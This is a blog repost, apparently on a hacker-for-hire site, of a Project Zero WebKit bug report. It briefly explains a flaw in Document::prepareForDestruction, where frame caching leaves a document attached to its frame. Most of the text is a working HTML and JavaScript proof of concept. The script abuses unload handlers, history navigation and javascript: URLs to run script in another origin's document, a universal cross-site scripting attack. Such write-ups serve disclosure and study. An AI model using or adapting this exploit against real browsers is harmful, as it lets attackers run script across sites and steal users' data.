Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371801

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1163

Here's a snippet of Document::prepareForDestruction

void Document::prepareForDestruction()
{
    if (m_hasPreparedForDestruction)
        return;
    ...
    detachFromFrame();

    m_hasPreparedForDestruction = true;
}

Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.


PoC:
-->

<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitFor(check, cb) {
    let it = setInterval(() => {
        if (check()) {
            clearInterval(it);
            cb();
        }
    }, 10);
}

window.onclick = () => {
    window.onclick = null;

    w = open(createURL(''), '', 'width=500, height=500');
    w.onload = () => {
        setTimeout(() => {
            let f = w.document.body.appendChild(document.createElement('iframe'));
            f.contentWindow.onunload = () => {
                f.contentWindow.onunload = null;

                w.__defineGetter__('navigator', () => new Object());

                let a = w.document.createElement('a');
                a.href = 'about:blank';
                a.click();

                setTimeout(() => {
                    w.history.back();
                    setTimeout(() => {
                        let d = w.document;
                        w.location = 'javascript:' + encodeURI(`"<script>location = 'https://abc.xyz/';</scrip` + `t>"`);

                        let it = setInterval(() => {
                            try {
                                w.xxxx;
                            } catch (e) {
                                clearInterval(it);

                                let a = d.createElement('a');
                                a.href = 'javascript:alert(location);';
                                a.click();
                            }
                        }, 10);
                    }, 100);
                }, 100);
            };

            w.location = 'javascript:""';
        }, 0);
    };

}

</script>
</body>